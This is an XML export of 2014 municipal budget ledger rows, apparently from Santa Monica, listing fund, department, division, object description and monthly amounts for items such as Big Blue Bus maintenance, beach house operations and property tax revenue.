<row _id="7997"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>25</fund_id><fund_name>Water Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>673</division_id><division_name>ARCADIA TREATMENT PLANT</division_name><object>544014.0</object><object_description>FILTER MEDIA REPLACEMENT</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>51819.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>51819.0</total></row>
<row _id="7998"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>840.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>840.0</total></row>
<row _id="7999"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>725.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>725.0</total></row>
<row _id="8000"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>657</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>544193.0</object><object_description>CLEANING SUPPLIES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>150000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>150000.0</total></row>
<row _id="8001"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>401950.0</object><object_description>BLANKET UTILITY PERMITS</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-33000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-33000.0</total></row>
<row _id="8002"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>404690.0</object><object_description>415 PCH - PARKING</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-438250.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-438250.0</total></row>
<row _id="8003"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>404750.0</object><object_description>415 PCH - RENTALS</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2014</fiscal_year><july>-246355.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-246355.0</total></row>
<row _id="8004"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>404750.0</object><object_description>415 PCH - RENTALS</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2014</fiscal_year><july>-38020.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-38020.0</total></row>
<row _id="8005"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>826.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>826.0</total></row>
<row _id="8006"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>522110.0</object><object_description>UTIL - LIGHT / POWER</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>77872.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>77872.0</total></row>
<row _id="8007"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>325.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>325.0</total></row>
<row _id="8008"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>533580.0</object><object_description>COMPUTER EQUIP/SOFTWARE MAINT</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3467.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3467.0</total></row>
<row _id="8009"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>523</division_id><division_name>BEACH HOUSE OPERATIONS</division_name><object>545020.0</object><object_description>CULTURAL PROGRAMMING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>100000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>100000.0</total></row>
<row _id="8010"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>128618.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>128618.0</total></row>
<row _id="8011"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>544340.0</object><object_description>INDIRECT COST ALLOCATION</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>315712.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>315712.0</total></row>
<row _id="8012"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>497</division_id><division_name>BEACH HOUSE MAINTENANCE</division_name><object>533214.0</object><object_description>FAC MAINT-REPAIRS-HIST SAVINGS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>126000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>126000.0</total></row>
<row _id="8013"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>523010.0</object><object_description>ENVIRONMENTAL SERVICES FEE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1270.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1270.0</total></row>
<row _id="8014"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>523010.0</object><object_description>ENVIRONMENTAL SERVICES FEE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>2650.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2650.0</total></row>
<row _id="8015"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>523000.0</object><object_description>VEHICLE MGMT FUND-MAINTENANCE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>17323.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>17323.0</total></row>
<row _id="8016"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>194080.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>194080.0</total></row>
<row _id="8017"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>BLDG/STR MAINT-COLO ESP</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>20500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>20500.0</total></row>
<row _id="8018"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>522160.0</object><object_description>TRANSFER STATION FEE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1216.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1216.0</total></row>
<row _id="8019"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>533220.0</object><object_description>BLDG / STRUCTURE MAINTENANCE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>42598.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>42598.0</total></row>
<row _id="8020"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>533720.0</object><object_description>RADIO EQUIP &amp; MAINT</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>30000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>30000.0</total></row>
<row _id="8021"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>410060.0</object><object_description>COLORADO ESPLANADE CONTRIB</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-708000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-708000.0</total></row>
<row _id="8022"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>400020.0</object><object_description>PROPERTY TAXES - UNSECURED</object_description><category_code>602.0</category_code><category_code_description>Property Taxes</category_code_description><fiscal_year>2014</fiscal_year><july>-950000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-950000.0</total></row>
<row _id="8023"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>400040.0</object><object_description>SUPPLEMENTAL PROPERTY TAX</object_description><category_code>602.0</category_code><category_code_description>Property Taxes</category_code_description><fiscal_year>2014</fiscal_year><july>-200000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-200000.0</total></row>
<row _id="8024"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>400110.0</object><object_description>FRANCHISE TAX - MISCELLANEOUS</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2014</fiscal_year><july>-20638.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-20638.0</total></row>
<row _id="8025"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>406000.0</object><object_description>ESTIMATED FEE INCREASES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="8026"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>44</fund_id><fund_name>SCAQMD AB 2766 Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>400750.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>616.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="8027"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>416</division_id><division_name>TRANS ENGINEERING &amp; MGMT</division_name><object>410170.0</object><object_description>SIGN REMOVAL</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-5880.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-5880.0</total></row>
<row _id="8028"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>12</fund_id><fund_name>Housing Authority Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>578020.0</object><object_description>HOME PROGRAM ADMIN</object_description><category_code>908.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>-62253.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-62253.0</total></row>
<row _id="8029"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>511490.0</object><object_description>OVERTIME</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>4545.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4545.0</total></row>
<row _id="8030"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1217.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1217.0</total></row>
<row _id="8031"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>544340.0</object><object_description>INDIRECT COST ALLOCATION</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>25464.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>25464.0</total></row>
<row _id="8032"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>400351.0</object><object_description>RPTTF RESIDUALS</object_description><category_code>602.0</category_code><category_code_description>Property Taxes</category_code_description><fiscal_year>2014</fiscal_year><july>-5120927.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-5120927.0</total></row>
<row _id="8033"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>401210.0</object><object_description>DAMAGE TO CITY PROPERTY</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-50000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-50000.0</total></row>
<row _id="8034"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>274</division_id><division_name>ALL OTHER TRANSACTIONS</division_name><object>400750.0</object><object_description>INT DEP / INVESTMENT</object_description><category_code>616.0</category_code><category_code_description>Investment Income</category_code_description><fiscal_year>2014</fiscal_year><july>-66000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-66000.0</total></row>
<row _id="8035"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>408620.0</object><object_description>FTA NEW FREEDOM GRANT</object_description><category_code>610.0</category_code><category_code_description>Intergovernmental</category_code_description><fiscal_year>2014</fiscal_year><july>-245862.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-245862.0</total></row>
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<row _id="8051"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>499</division_id><division_name>BEACH MAINTENANCE</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>232342.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>232342.0</total></row>
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<row _id="8087"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>UTILITIES-WATER-CITY YARDS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>25500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>25500.0</total></row>
<row _id="8088"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object xsi:nil="true" /><object_description>BLDG/STR MAINT-CITY YARDS</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>45000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>45000.0</total></row>
<row _id="8089"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>10350.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10350.0</total></row>
<row _id="8090"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>522160.0</object><object_description>TRANSFER STATION FEE</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>49200.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>49200.0</total></row>
<row _id="8091"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>544290.0</object><object_description>OTHER MATERIALS AND SUPPLIES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4800.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4800.0</total></row>
<row _id="8092"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>421</division_id><division_name>STREET &amp; FLEET SVCS</division_name><object>555210.0</object><object_description>TRAINING</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>1910.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1910.0</total></row>
<row _id="8093"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>452</division_id><division_name>FACILITIES MAINTENANCE</division_name><object>522139.0</object><object_description>UTIL-WATER-COM FAC, SC, KEC</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>10278.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>10278.0</total></row>
